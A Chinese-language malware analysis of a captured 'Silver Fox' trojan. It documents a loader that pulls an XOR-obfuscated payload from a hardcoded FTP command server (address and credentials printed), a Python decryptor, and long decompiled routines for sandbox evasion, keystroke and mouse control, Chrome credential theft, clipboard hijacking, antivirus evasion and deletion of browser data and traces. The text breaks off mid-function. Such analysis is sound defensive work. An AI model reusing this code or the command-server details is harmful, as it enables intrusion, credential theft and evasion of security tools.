一、银狐木马
近一年来,银狐木马持续高频活跃状态,已成为国内最具威胁的恶意组织之一。该组织主要瞄准企事业单位的管理与财务人员,通过社交软件、钓鱼邮件等渠道,结合进程注入、无文件攻击等技术实施精准钓鱼,远程控制主机并窃取敏感信息,危害极为严重。
本样本来源于实战捕获。
二、exe反编译
loader md5:0d59b57a164a370bf8faacf3ccdc3f27
整体逻辑
对该exe反编译后,整体逻辑如下:
该程序是一个loader,连接硬编码 C2(FTP),下载混淆的 payload,按特定规则在内存中解混淆并直接执行。
FTP地址、用户名与密码以硬编码的方式写在了源码里:地址:38.47.238.80
,用户名 safe
,密码 yeh6335Ads
。目前,该FTP服务已无法连接。
微步信息如下:
在端口22012
仍开放web服务
程序行为分析
程序启动时会判断当前环境是否是沙箱/虚拟机,
- 创建一个事件并开一个线程(线程在内部
Sleep(6000)
后才SetEvent
),主线程WaitForSingleObject
等 5000ms。如果等待没有超时(即事件提前被置位),程序直接退出。 - 检查自身路径是否包含
\AppData\Local\Temp\
,如果在临时目录中则提前退出。 - 还有对桌面/某些
.lnk
路径的检查(代码有对C:\Users\Public\Desktop\QQ.lnk
、Telegram.lnk
等字符串的处理)。
通过检查后,解析 API,程序通过 LoadLibraryA
+ GetProcAddress
在运行时动态加载 WinInet.dll
并解析网络函数,而不是在链接时直接导入,避免静态检测。
通过 InternetOpenA
+ InternetConnectA
用FTP连接到 38.47.238.80
,用户名/密码如上。然后调用 FtpOpenFileA
打开远程文件sl_8031
。成功后用 InternetReadFile
循环读取整个文件到堆分配的缓冲中。
为下载数据申请可执行内存(VirtualAlloc(..., PAGE_EXECUTE_READWRITE)
),然后对下载内容进行字节级解混淆/解密,后续源码可见具体运算,得到解密后的可执行代码。最后把该内存地址当作函数指针并调用,传入部分参数(例如原来的 v22
),直接在内存中执行远端下载来的shellcode。
v12 = 0;
if ( dwSize ) // 如果数据长度不为0
{
v13 = v19 - v10; // 计算原始数据与解密缓冲区的偏移
while ( 1 )
{
v14 = v12 % 3;
if ( !(v12 % 3) )
break;
if ( v14 == 1 )
{
v15 = &v11[v12];
v16 = v11[v12 + v13] ^ 0x77;
goto LABEL_18;
}
if ( v14 == 2 )
{
v15 = &v11[v12];
v16 = v12 ^ v11[v12 + v13] ^ 0x36;
goto LABEL_18;
}
LABEL_19:
if ( ++v12 >= dwSize )
goto LABEL_20;
}
v15 = &v11[v12];
v16 = v11[v12 + v13] ^ 0x57;
LABEL_18:
*v15 = v16;
goto LABEL_19;
}
for i in range(0, dwSize):
if i % 3 == 0:
out_buf[i] = in_buf[i] ^ 0x57
elif i % 3 == 1:
out_buf[i] = in_buf[i] ^ 0x77
else: # i % 3 == 2
out_buf[i] = i ^ in_buf[i] ^ 0x36
- 第 0、1 个余数使用固定 XOR 常数(0x57、0x77),第 2 个余数额外混入了索引
i
(i ^ byte ^ 0x36
),使得该位置随偏移变化。 - 最终把结果写到可执行内存并直接调用,说明作者把 payload 混淆后内存执行以逃避磁盘检测。
win.dat
win.dat md5:e93b0b256a01726b75648c08649103fc
对远程加载的win.dat进行还原
def decrypt_payload(encrypted_data):
decrypted = bytearray(len(encrypted_data))
for i in range(len(encrypted_data)):
if i % 3 == 0:
decrypted[i] = encrypted_data[i] ^ 0x57
elif i % 3 == 1:
decrypted[i] = encrypted_data[i] ^ 0x77
else: # i % 3 == 2
decrypted[i] = encrypted_data[i] ^ (i & 0xFF) ^ 0x36
return decrypted
# 读取加密文件
with open('win.dat', 'rb') as f:
encrypted = f.read()
# 解密
decrypted = decrypt_payload(encrypted)
# 保存解密后的文件(可能是 PE 文件)
with open('windat_decode.bin', 'wb') as f:
f.write(decrypted)
windat_decrypted.bin md5:529afe125e23e8f693a9240fa17a19e5
虚拟机检测
char sub_401010()
{
SubStr[0] = "qemu";
SubStr[1] = "virtual";
SubStr[2] = "vmware";
SubStr[3] = 0;
FileA = CreateFileA("\\\\.\\PhysicalDrive0", 0, 3u, 0, 3u, 0, 0);//打开物理磁盘
if ( FileA == (HANDLE)-1 )
return 0;
memset(InBuffer, 0, sizeof(InBuffer));
BytesReturned = 0;
sub_4175C0(OutBuffer, 0, 0x80u);
sub_4175C0(sz, 0, 0x80u);
if ( !DeviceIoControl(FileA, 0x2D1400u, InBuffer, 0xCu, OutBuffer, 0x80u, &BytesReturned, 0) )
{
LABEL_10:
CloseHandle(FileA);
return 0;
}
v1 = OutBuffer[v11];
v2 = &OutBuffer[v11];
if ( v1 )
{
v3 = sz;
do
{
++v2;
*v3 = v1;
v1 = *v2;
++v3;
}
while ( *v2 );
}
CharLowerBuffA(sz, strlen(sz));
v4 = 0;
while ( !*SubStr[v4] || !strstr(sz, SubStr[v4]) )
{
if ( (unsigned int)++v4 >= 3 )
goto LABEL_10;
}
return 1;
}
键鼠事件记录
char __cdecl sub_401570(LPCSTR lpLibFileName)
{
if ( hLibModule )
return 1;
LibraryA = LoadLibraryA(lpLibFileName); //调用LoadLibraryA动态加载dll
v3 = LibraryA;
if ( LibraryA )
{
Init = (int (__cdecl *)(_DWORD, _DWORD))GetProcAddress(LibraryA, "Init");
SetScale = (int)GetProcAddress(v3, "SetScale");
SetMouseMoveTrack = (int)GetProcAddress(v3, "SetMouseMoveTrack");
MouseMove = (int)GetProcAddress(v3, "MouseMove");
MouseMoveR = (int)GetProcAddress(v3, "MouseMoveR");
MouseLeftDown = (int)GetProcAddress(v3, "MouseLeftDown");
MouseLeftUp = (int)GetProcAddress(v3, "MouseLeftUp");
MouseRightDown = (int)GetProcAddress(v3, "MouseRightDown");
MouseRightUp = (int)GetProcAddress(v3, "MouseRightUp");
MouseMiddleDown = (int)GetProcAddress(v3, "MouseMiddleDown");
MouseMiddleUp = (int)GetProcAddress(v3, "MouseMiddleUp");
Mouse4Down = (int)GetProcAddress(v3, "Mouse4Down");
Mouse4Up = (int)GetProcAddress(v3, "Mouse4Up");
Mouse5Down = (int)GetProcAddress(v3, "Mouse5Down");
Mouse5Up = (int)GetProcAddress(v3, "Mouse5Up");
MouseWheelDown = (int)GetProcAddress(v3, "MouseWheelDown");
MouseWheelUp = (int)GetProcAddress(v3, "MouseWheelUp");
KeyboardDown = (int)GetProcAddress(v3, "KeyboardDown");
KeyboardUp = (int)GetProcAddress(v3, "KeyboardUp");
InputString = GetProcAddress(v3, "InputString");
dword_4A8510 = (int)InputString;
if ( Init
&& MouseMove
&& MouseMoveR
&& MouseLeftDown
&& MouseLeftUp
&& MouseRightDown
&& MouseRightUp
&& MouseMiddleDown
&& MouseMiddleUp
&& Mouse4Down
&& Mouse4Up
&& Mouse5Down
&& Mouse5Up
&& MouseWheelDown
&& MouseWheelUp
&& InputString
&& (unsigned __int8)Init(0, 0) )
{
hLibModule = v3;
return 1;
}
FreeLibrary(v3);
}
return 0;
}
...
int __thiscall sub_40F9A0(SOCKET **this)
{
char Buffer[260];
GetSystemDirectoryA(Buffer, 0x104u);
lstrcatA(Buffer, byte_4AAA68);
HANDLE hFile = CreateFileA(Buffer, GENERIC_READ, FILE_SHARE_READ, 0, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL|FILE_ATTRIBUTE_ARCHIVE, 0);
if ( hFile != INVALID_HANDLE_VALUE )
{
unsigned int fileSize = GetFileSize(hFile, 0);
void *buf = operator new[](fileSize);
DWORD read;
ReadFile(hFile, buf, fileSize, &read, 0);
for ( unsigned int i = 0; i < fileSize; ++i )
*((_BYTE*)buf + i) ^= 0x60; // XOR 解密
int v1 = sub_40F950(this, buf, fileSize); // 发送
operator delete(buf);
CloseHandle(hFile);
return v1;
}
CloseHandle(hFile);
return 0;
}
获取Chrome浏览器用户信息
SOCKET **__thiscall sub_401810(SOCKET **this, _DWORD *Src)
{
v19[1] = (int)this;
sub_412460(this, Src);
v19[4] = 0;
*this = (SOCKET *)&CChromeManager::`vftable';
v3 = LocalAlloc(0x40u, 0x400u);
*v3 = -41;
LibraryA = LoadLibraryA("CHROMEUSERINFO.dll");
v5 = LibraryA;
if ( !LibraryA
|| (this[4] = (SOCKET *)GetProcAddress(LibraryA, "fnGetChromeUserInfo"),
fnDeleteChromeUserInfo = GetProcAddress(v5, "fnDeleteChromeUserInfo"),
v7 = this[4],
this[5] = (SOCKET *)fnDeleteChromeUserInfo,
!v7)
|| !fnDeleteChromeUserInfo )
{
v11 = lstrlenA;
v18 = lstrlenA("CHROME_UNKNOW") + 1;
memcpy(v3 + 1, "CHROME_UNKNOW", v18);
goto LABEL_11;
}
Src = 0;
v19[0] = 0;
v8 = ((int (__cdecl *)(_DWORD **, int *))v7)(&Src, v19);
if ( v8 )
{
v11 = lstrlenA;
if ( v8 == 5 )
{
v12 = lstrlenA("CHROME_NO_DATA");
memcpy(v3 + 1, "CHROME_NO_DATA", v12 + 1);
v13 = lstrlenA("CHROME_NO_DATA");
LABEL_12:
v10 = v13 + 2;
goto LABEL_13;
}
v17 = lstrlenA("CHROME_UNKNOW") + 1;
memcpy(v3 + 1, "CHROME_UNKNOW", v17);
LABEL_11:
v13 = v11("CHROME_UNKNOW");
goto LABEL_12;
}
v9 = Src;
v10 = v19[0] + 1;
memcpy(v3 + 1, Src, v19[0] + 1);
if ( v9 )
((void (__cdecl *)(_DWORD **))this[5])(&Src);
LABEL_13:
v14 = LocalReAlloc(v3, v10, 0x42u);
v15 = LocalSize(v14);
sub_4124C0(this, v14, v15, 1);
LocalFree(v14);
return this;
}
读取和修改剪贴板数据
BOOL __thiscall sub_4025B0(SOCKET **this)
{
result = OpenClipboard(0);
if ( result )
{
ClipboardData = GetClipboardData(1u);
v4 = (const CHAR *)GlobalLock(ClipboardData);
v5 = (CHAR *)v4;
if ( v4 )
{
v7 = lstrlenA(v4);
sub_4124C0(this, v5, v7, 1);
}
else
{
strcpy(String, "���а�����Ϊ��");
v6 = lstrlenA(String);
sub_4124C0(this, String, v6, 1);
}
GlobalUnlock(ClipboardData);
return CloseClipboard();
}
return result;
}
......
BOOL __thiscall sub_402660(HANDLE *this, char *a2, int a3)
{
char *v3; // esi
BOOL result; // eax
HGLOBAL v5; // edi
_BYTE *v6; // eax
char v7; // cl
v3 = a2;
if ( *a2 == 37 )
return sub_412560(this);
if ( *a2 == -31 )
return sub_4025B0((SOCKET **)this);
result = OpenClipboard(0);
if ( result )
{
EmptyClipboard();
v5 = GlobalAlloc(0x2000u, a3 + 1);
v6 = GlobalLock(v5);
do
{
v7 = *v3;
*v6++ = *v3++;
}
while ( v7 );
GlobalUnlock(v5);
SetClipboardData(1u, v5);
return CloseClipboard();
}
return result;
}
替换驱动
int __cdecl sub_40C8E0(char *a1)
{
CommandLine = 0;
sub_4175C0(v18, 0, 0x103u);
Wow64EnableWow64FsRedirection(0);
memset(&ProcessInformation, 0, sizeof(ProcessInformation));
sub_4175C0((char *)&StartupInfo, 0, 0x44u);
StartupInfo.cb = 68;
GetStartupInfoA(&StartupInfo);
StartupInfo.wShowWindow = 0;
StartupInfo.dwFlags = 257;
v1 = a1;
v2 = (CHAR *)(&CommandLine - a1);
do
{
v3 = *v1;
v1[(_DWORD)v2] = *v1;
++v1;
}
while ( v3 );
v4 = (char *)&StartupInfo.hStdError + 3;
while ( *++v4 )
;
strcpy(v4, " remove HID\\km_hid*");
if ( !CreateProcessA(0, &CommandLine, 0, 0, 1, 0, 0, 0, &StartupInfo, &ProcessInformation)
|| WaitForSingleObject(ProcessInformation.hProcess, 0xFFFFFFFF) )
{
return 0;
}
if ( ProcessInformation.hProcess )
CloseHandle(ProcessInformation.hProcess);
if ( ProcessInformation.hThread )
CloseHandle(ProcessInformation.hThread);
v7 = a1;
do
{
v8 = *v7;
v7[(_DWORD)v2] = *v7;
++v7;
}
while ( v8 );
v9 = (char *)&StartupInfo.hStdError + 3;
while ( *++v9 )
;
strcpy(v9, " remove @HID\\km_hid*");
if ( !CreateProcessA(0, &CommandLine, 0, 0, 1, 0, 0, 0, &StartupInfo, &ProcessInformation)
|| WaitForSingleObject(ProcessInformation.hProcess, 0xFFFFFFFF) )
{
return 0;
}
if ( ProcessInformation.hProcess )
CloseHandle(ProcessInformation.hProcess);
if ( ProcessInformation.hThread )
CloseHandle(ProcessInformation.hThread);
v11 = a1;
do
{
v12 = *v11;
v11[(_DWORD)v2] = *v11;
++v11;
}
while ( v12 );
v13 = (char *)&StartupInfo.hStdError + 3;
while ( *++v13 )
;
strcpy(v13, " remove buke\\km_hid");
if ( !CreateProcessA(0, &CommandLine, 0, 0, 1, 0, 0, 0, &StartupInfo, &ProcessInformation)
|| WaitForSingleObject(ProcessInformation.hProcess, 0xFFFFFFFF) )
{
return 0;
}
if ( ProcessInformation.hProcess )
CloseHandle(ProcessInformation.hProcess);
if ( ProcessInformation.hThread )
CloseHandle(ProcessInformation.hThread);
Wow64EnableWow64FsRedirection(1u);
return 1;
}
int sub_40CB90()
{
struct _PROCESS_INFORMATION ProcessInformation; // [esp+Ch] [ebp-15Ch] BYREF
struct _STARTUPINFOA StartupInfo; // [esp+1Ch] [ebp-14Ch] BYREF
CHAR CommandLine[260]; // [esp+60h] [ebp-108h] BYREF
CommandLine[0] = 0;
sub_4175C0(&CommandLine[1], 0, 0x103u);
Wow64EnableWow64FsRedirection(0);
memset(&ProcessInformation, 0, sizeof(ProcessInformation));
sub_4175C0((char *)&StartupInfo, 0, 0x44u);
StartupInfo.cb = 68;
GetStartupInfoA(&StartupInfo);
strcpy(CommandLine, "D:\\buke\\devcon.exe install D:\\buke\\buke_km_hid_drv.inf buke\\km_hid");
StartupInfo.wShowWindow = 0;
StartupInfo.dwFlags = 257;
if ( !CreateProcessA(0, CommandLine, 0, 0, 1, 0, 0, 0, &StartupInfo, &ProcessInformation)
|| WaitForSingleObject(ProcessInformation.hProcess, 0xFFFFFFFF) )
{
return 0;
}
if ( ProcessInformation.hProcess )
CloseHandle(ProcessInformation.hProcess);
if ( ProcessInformation.hThread )
CloseHandle(ProcessInformation.hThread);
Wow64EnableWow64FsRedirection(1u);
return 1;
}
int sub_40CCB0()
{
struct _PROCESS_INFORMATION ProcessInformation; // [esp+Ch] [ebp-15Ch] BYREF
struct _STARTUPINFOA StartupInfo; // [esp+1Ch] [ebp-14Ch] BYREF
CHAR CommandLine[260]; // [esp+60h] [ebp-108h] BYREF
CommandLine[0] = 0;
sub_4175C0(&CommandLine[1], 0, 0x103u);
Wow64EnableWow64FsRedirection(0);
memset(&ProcessInformation, 0, sizeof(ProcessInformation));
sub_4175C0((char *)&StartupInfo, 0, 0x44u);
StartupInfo.cb = 68;
GetStartupInfoA(&StartupInfo);
strcpy(CommandLine, "C:\\Windows\\System32\\devcon.exe install C:\\Windows\\System32\\mm.inf Root\\Parsec\\VDA");
StartupInfo.wShowWindow = 0;
StartupInfo.dwFlags = 257;
if ( !CreateProcessA(0, CommandLine, 0, 0, 1, 0, 0, 0, &StartupInfo, &ProcessInformation)
|| WaitForSingleObject(ProcessInformation.hProcess, 0xFFFFFFFF) )
{
return 0;
}
if ( ProcessInformation.hProcess )
CloseHandle(ProcessInformation.hProcess);
if ( ProcessInformation.hThread )
CloseHandle(ProcessInformation.hThread);
Wow64EnableWow64FsRedirection(1u);
return 1;
}
痕迹清理
BOOL __stdcall EnumFunc(HWND hWnd, LPARAM a2)
{
String = 0;
sub_4175C0(v5, 0, 0xFDu);
GetWindowTextA(hWnd, &String, 254);
v2 = strstr(&String, byte_4A9E60) == 0;
result = 1;
if ( !v2 )
dword_4A9E5C = 1;
return result;
}
char *sub_40D300()
{
GetSystemDirectoryA(Buffer, 0x104u);
lstrcatA(Buffer, byte_4AAA68);
DeleteFileA(Buffer);
result = sub_40C380(hModule, "STUV");
if ( result )
{
sub_4175C0(Filename, 0, 0x104u);
GetModuleFileNameA(0, Filename, 0x104u);
strcpy(pszPath, "D:");
if ( PathFileExistsA(pszPath) || (strcpy(pszPath, "E:"), (result = (char *)PathFileExistsA(pszPath)) != 0) )
{
strcpy(v26, "NetEase.exe");
sub_4175C0(v27, 0, 0x44u);
wsprintfA(ValueName, "%s\\NetEase\\%s", pszPath, v26);
sub_41EBF0(v33);
MoveFileExA(Filename, 0, 4u);
v1 = 0;
do
{
v2 = v33[v1];
ExistingFileName[v1++] = v2;
}
while ( v2 );
v3 = (char *)&StartupInfo.hStdError + 3;
while ( *++v3 )
;
strcpy(v3, "\\libxml2.dll");
MoveFileExA(ExistingFileName, 0, 4u);
v5 = 0;
do
{
v6 = v33[v5];
ExistingFileName[v5++] = v6;
}
while ( v6 );
v7 = (char *)&StartupInfo.hStdError + 3;
while ( *++v7 )
;
strcpy(v7, "\\win.dat");
MoveFileExA(ExistingFileName, 0, 4u);
if ( dword_4AAA48 )
{
sub_423DA0((OLECHAR *)L"NetEaseA");
if ( !RegOpenKeyExA(HKEY_LOCAL_MACHINE, "Software\\Microsoft\\Windows\\CurrentVersion\\Run", 0, 2u, &phkResult) )
{
RegDeleteValueA(phkResult, "NetEaseA");
RegCloseKey(phkResult);
}
if ( !RegOpenKeyExA(HKEY_CURRENT_USER, "Software\\Microsoft\\Windows\\CurrentVersion\\Run", 0, 2u, &phkResult) )
{
RegDeleteValueA(phkResult, "NetEaseA");
RegCloseKey(phkResult);
}
if ( !RegOpenKeyExA(
HKEY_CURRENT_USER,
"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\AppCompatFlags\\Layers",
0,
2u,
&phkResult) )
{
RegDeleteValueA(phkResult, ValueName);
RegCloseKey(phkResult);
}
if ( !RegOpenKeyExA(
HKEY_LOCAL_MACHINE,
"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\AppCompatFlags\\Layers",
0,
0x102u,
&phkResult) )
{
RegDeleteValueA(phkResult, ValueName);
RegCloseKey(phkResult);
}
if ( !RegOpenKeyExA(HKEY_LOCAL_MACHINE, "SYSTEM\\Setup", 0, 2u, &phkResult) )
{
RegDeleteValueA(phkResult, "RemarkName");
RegDeleteValueA(phkResult, "GroupName");
RegCloseKey(phkResult);
}
MoveFileExA(ValueName, 0, 4u);
v9 = 0;
do
{
v10 = pszPath[v9];
ExistingFileName[v9++] = v10;
}
while ( v10 );
v11 = (char *)&StartupInfo.hStdError + 3;
while ( *++v11 )
;
strcpy(v11, "\\NetEase\\libxml2.dll");
MoveFileExA(ExistingFileName, 0, 4u);
v13 = 0;
do
{
v14 = pszPath[v13];
ExistingFileName[v13++] = v14;
}
while ( v14 );
v15 = (char *)&StartupInfo.hStdError + 3;
while ( *++v15 )
;
strcpy(v15, "\\NetEase\\win.dat");
MoveFileExA(ExistingFileName, 0, 4u);
v17 = 0;
do
{
v18 = pszPath[v17];
ExistingFileName[v17++] = v18;
}
while ( v18 );
v19 = (char *)&StartupInfo.hStdError + 3;
while ( *++v19 )
;
strcpy(v19, "\\NetEase");
MoveFileExA(ExistingFileName, 0, 4u);
SHGetSpecialFolderPathA(0, ExistingFileName, 24, 0);
lstrcatA(ExistingFileName, "\\NetEase.lnk");
MoveFileExA(ExistingFileName, 0, 4u);
if ( hPort != (HANDLE)-1 )
{
InBuffer.hThread = 0;
InBuffer.hProcess = (HANDLE)10;
FilterSendMessage(hPort, &InBuffer, 8u, 0, 0, &BytesReturned);
RegDeleteTreeA(HKEY_LOCAL_MACHINE, "SYSTEM\\CurrentControlSet\\Services\\Acx01");
}
RegDeleteTreeA(HKEY_LOCAL_MACHINE, "Software\\NetEase");
}
CommandLine[0] = 0;
sub_4175C0(&CommandLine[1], 0, 0x103u);
memset(&InBuffer, 0, sizeof(InBuffer));
sub_4175C0((char *)&StartupInfo, 0, 0x44u);
StartupInfo.cb = 68;
GetStartupInfoA(&StartupInfo);
StartupInfo.wShowWindow = 0;
StartupInfo.dwFlags = 257;
Wow64EnableWow64FsRedirection(0);
strcpy(CommandLine, "C:\\Windows\\System32\\devcon.exe remove Root\\Parsec\\VDA");
if ( CreateProcessA(0, CommandLine, 0, 0, 1, 0, 0, 0, &StartupInfo, &InBuffer) )
{
WaitForSingleObject(InBuffer.hProcess, 0xFFFFFFFF);
if ( InBuffer.hProcess )
CloseHandle(InBuffer.hProcess);
if ( InBuffer.hThread )
CloseHandle(InBuffer.hThread);
}
strcpy(ExistingFileName, "C:\\Windows\\System32\\drivers\\UMDF\\mm.dll");
MoveFileExA(ExistingFileName, 0, 4u);
Wow64EnableWow64FsRedirection(1u);
exit(0);
}
}
return result;
}
前台窗口监控
// 如果窗口变化,或者标题变化,就进行下一步记录。
int sub_40DE50()
{
int result; // eax
struct _SYSTEMTIME SystemTime; // [esp+4h] [ebp-94h] BYREF
CHAR String; // [esp+14h] [ebp-84h] BYREF
char v3[127]; // [esp+15h] [ebp-83h] BYREF
hWnd = GetForegroundWindow();
GetWindowTextA(hWnd, byte_4A9D58, 256);
if ( (HWND)dword_4A9C50 != hWnd || (result = strcmp(byte_4A9D58, byte_4A9C58)) != 0 )
{
GetLocalTime(&SystemTime);
String = 0;
sub_4175C0(v3, 0, 0x7Fu);
wsprintfA(
&String,
"\r\n--------begin--------- %d-%d-%d %d:%d:%d\r\n",
SystemTime.wYear,
SystemTime.wMonth,
SystemTime.wDay,
SystemTime.wHour,
SystemTime.wMinute,
SystemTime.wSecond);
dword_4A8C44 = (int)"\r\n---------End----------\r\n";
sub_40DB80((CHAR *)"\r\n---------End----------\r\n");
sub_40DB80(&String);
GetWindowTextA(hWnd, byte_4A9C58, 256);
dword_4A9C50 = (int)hWnd;
strcat(dword_4A6B00, byte_4A9D58);
strcat(dword_4A6B00, ">>\r\n");
sub_40DB80(dword_4A6B00);
result = -357483460;
*(_DWORD *)dword_4A6B00 = -357483460;
dword_4A6B04 = -1163664692;
byte_4A6B08 = 0;
}
return result;
}
对抗沙箱与杀软
if (!dword_4A8C4C) {
if (!dword_4AAA48) {
if (sub_41E690("360tray.exe")) {
...
}
}
dword_4A8C4C = 1;
hMutex = CreateMutexA(0,0,0);
*(_DWORD *)&byte_4AAA68[36] = CreateMutexA(0,0,0);
...
sub_40E240((_DWORD *)this);
}
v9 = sub_434690(0,0,(int)sub_410B30,this,0,0,0);
...
qmemcpy(cp, a2 + 1, sizeof(cp));
switch(cp[1004]) {
case 1: sub_404E80(...);
case 2: sub_402CD0(...);
case 3: sub_405320(...);
...
case 8:
GetVersionExA(&VersionInformation);
...
}
sub_40D180(...);
...
strcpy(CommandLine, "netsh advfirewall firewall add rule ...");
CreateProcessA(0, CommandLine, ...);
...
if (!sub_41E690("SbieSvc.exe") && sub_41E690("360tray.exe") && dword_4AAA48) {
...
*(_DWORD *)(...) = sub_434690(...);
}
...
int __stdcall sub_410DB0(int a1)
{
int v2; // edi
DWORD th32ProcessID; // ebx
HANDLE Toolhelp32Snapshot; // esi
LPARAM lParam[2]; // [esp+0h] [ebp-134h] BYREF
PROCESSENTRY32 pe; // [esp+8h] [ebp-12Ch] BYREF
if ( !InterlockedExchange(&dword_4AA270, 1) )
{
while ( 1 )
{
v2 = 0;
th32ProcessID = 0;
Toolhelp32Snapshot = CreateToolhelp32Snapshot(2u, 0);
pe.dwSize = 296;
if ( Process32First(Toolhelp32Snapshot, &pe) )
{
while ( lstrcmpiA(pe.szExeFile, "360tray.exe") )
{
if ( !Process32Next(Toolhelp32Snapshot, &pe) )
goto LABEL_8;
}
th32ProcessID = pe.th32ProcessID;
v2 = 1;
}
LABEL_8:
CloseHandle(Toolhelp32Snapshot);
if ( v2 )
{
lParam[1] = th32ProcessID;
lParam[0] = 0;
EnumWindows(sub_410D60, (LPARAM)lParam);
}
Sleep(0x3E8u);
}
}
return -1;
}
清理浏览器痕迹
char __cdecl sub_411C10(char *Source)
{
v26 = 15;
v25 = 0;
LOBYTE(v24) = 0;
sub_409680(&v23, (int)(Source + 1), Source, strlen(Source));
v28 = 0;
if ( v25 <= v25 - 1 )
sub_4585D6();
v1 = v24;
if ( v26 < 0x10 )
v1 = &v24;
if ( v1[v25 - 1] != 92 )
sub_4094F0(&v23, 1u, 0x5Cu);
v2 = sub_411B30((int)&v11, &v23, "*.*");
LOBYTE(v28) = 1;
if ( *(_DWORD *)(v2 + 24) < 0x10u )
v3 = (const CHAR *)(v2 + 4);
else
v3 = *(const CHAR **)(v2 + 4);
FirstFileA = FindFirstFileA(v3, &FindFileData);
LOBYTE(v28) = 0;
if ( v14 >= 0x10 )
operator delete(v12);
v14 = 15;
v13 = 0;
LOBYTE(v12) = 0;
if ( FirstFileA == (HANDLE)-1 )
{
v28 = -1;
if ( v26 >= 0x10 )
operator delete(v24);
v26 = 15;
return 0;
}
else
{
do
{
if ( (FindFileData.dwFileAttributes & 0x10) != 0 )
{
if ( _stricmp(FindFileData.cFileName, ".") && _stricmp(FindFileData.cFileName, "..") )
{
v6 = sub_411B30((int)&v15, &v23, FindFileData.cFileName);
LOBYTE(v28) = 2;
if ( *(_DWORD *)(v6 + 24) < 0x10u )
v7 = (void *)(v6 + 4);
else
v7 = *(void **)(v6 + 4);
sub_411C10(v7, v10);
LOBYTE(v28) = 0;
if ( v18 >= 0x10 )
operator delete(v16);
v18 = 15;
v17 = 0;
LOBYTE(v16) = 0;
}
}
else
{
v8 = sub_411B30((int)&v19, &v23, FindFileData.cFileName);
LOBYTE(v28) = 3;
if ( *(_DWORD *)(v8 + 24) < 0x10u )
v9 = (const CHAR *)(v8 + 4);
else
v9 = *(const CHAR **)(v8 + 4);
DeleteFileA(v9);
LOBYTE(v28) = 0;
if ( v22 >= 0x10 )
operator delete(v20);
v22 = 15;
v21 = 0;
LOBYTE(v20) = 0;
}
}
while ( FindNextFileA(FirstFileA, &FindFileData) );
FindClose(FirstFileA);
RemoveDirectoryA(Source);
v28 = -1;
if ( v26 >= 0x10 )
operator delete(v24);
return 1;
}
}
int __stdcall sub_411F00(int a1)
{
int v1; // edx
const char *v2; // ecx
unsigned int v3; // eax
const char *v4; // esi
char *v5; // edi
char *v7; // eax
char *v9; // edi
char v12; // [esp+7h] [ebp-20Dh] BYREF
int Source[65]; // [esp+8h] [ebp-20Ch] BYREF
CHAR pszPath[260]; // [esp+10Ch] [ebp-108h] BYREF
sub_4116D0("chrome.exe");
SHGetSpecialFolderPathA(0, pszPath, 7, 0);
sub_432FF0(pszPath, "\\");
strcpy((char *)Source, "C:\\Users\\");
v2 = *(const char **)(v1 + 8);
v3 = strlen(v2) + 1;
v4 = v2;
v5 = &v12;
while ( *++v5 )
;
qmemcpy(v5, v4, v3);
v7 = &v12;
while ( *++v7 )
;
strcpy(v7, "\\AppData\\Local\\Go");
v9 = &v12;
while ( *++v9 )
;
strcpy(v9, "ogle\\Chrome\\User Data\\Default");
Sleep(0x3E8u);
sub_411C10((char *)Source);
return 0;
}
// 411F69: variable 'v1' is possibly undefined
//----- (00412030) --------------------------------------------------------
int __stdcall sub_412030(int a1)
{
int v1; // edx
const char *v2; // ecx
unsigned int v3; // eax
const char *v4; // esi
char *v5; // edi
char *v7; // edi
char v10; // [esp+7h] [ebp-20Dh] BYREF
int Source[65]; // [esp+8h] [ebp-20Ch] BYREF
CHAR pszPath[260]; // [esp+10Ch] [ebp-108h] BYREF
sub_4116D0("QQBrowser.exe");
SHGetSpecialFolderPathA(0, pszPath, 7, 0);
sub_432FF0(pszPath, "\\");
strcpy((char *)Source, "C:\\Users\\");
v2 = *(const char **)(v1 + 8);
v3 = strlen(v2) + 1;
v4 = v2;
v5 = &v10;
while ( *++v5 )
;
qmemcpy(v5, v4, v3);
v7 = &v10;
while ( *++v7 )
;
strcpy(v7, "\\AppData\\Local\\Tencent\\QQBrowser\\User Data\\Default");
Sleep(0x3E8u);
sub_411C10((char *)Source);
return 0;
}
int __stdcall sub_412120(int a1)
{
int v1; // edx
const char *v2; // ecx
unsigned int v3; // eax
const char *v4; // esi
char *v5; // edi
char *v7; // edi
char v10; // [esp+7h] [ebp-20Dh] BYREF
int Source[65]; // [esp+8h] [ebp-20Ch] BYREF
CHAR pszPath[260]; // [esp+10Ch] [ebp-108h] BYREF
sub_4116D0("SogouExplorer.exe");
SHGetSpecialFolderPathA(0, pszPath, 7, 0);
sub_432FF0(pszPath, "\\");
strcpy((char *)Source, "C:\\Users\\");
v2 = *(const char **)(v1 + 8);
v3 = strlen(v2) + 1;
v4 = v2;
v5 = &v10;
while ( *++v5 )
;
qmemcpy(v5, v4, v3);
v7 = &v10;
while ( *++v7 )
;
strcpy(v7, "\\AppData\\Roaming\\SogouExplorer");
Sleep(0x3E8u);
sub_411C10((char *)Source);
return 0;
}
int __stdcall sub_412210(int a1)
{
int v1; // edx
const char *v2; // ecx
unsigned int v3; // eax
const char *v4; // esi
char *v5; // edi
char *v7; // edi
char v10; // [esp+7h] [ebp-20Dh] BYREF
int Source[65]; // [esp+8h] [ebp-20Ch] BYREF
CHAR pszPath[260]; // [esp+10Ch] [ebp-108h] BYREF
sub_4116D0("Skype.exe");
SHGetSpecialFolderPathA(0, pszPath, 7, 0);
sub_432FF0(pszPath, "\\");
strcpy((char *)Source, "C:\\Users\\");
v2 = *(const char **)(v1 + 8);
v3 = strlen(v2) + 1;
v4 = v2;
v5 = &v10;
while ( *++v5 )
;
qmemcpy(v5, v4, v3);
v7 = &v10;
while ( *++v7 )
;
strcpy(v7, "\\AppData\\Roaming\\Microsoft\\Skype for Desktop");
Sleep(0x3E8u);
sub_411C10((char *)Source);
return 0;
}
int __stdcall sub_412300(int a1)
{
int v1; // edx
const char *v2; // ecx
unsigned int v3; // eax
const char *v4; // esi
char *v5; // edi
char *v7; // eax
char *v9; // eax
char v12; // [esp+7h] [ebp-20Dh] BYREF
int Source[65]; // [esp+8h] [ebp-20Ch] BYREF
CHAR pszPath[260]; // [esp+10Ch] [ebp-108h] BYREF
sub_4116D0("360se6.exe");
SHGetSpecialFolderPathA(0, pszPath, 7, 0);
sub_432FF0(pszPath, "\\");
strcpy((char *)Source, "C:\\Users\\");
v2 = *(const char **)(v1 + 8);
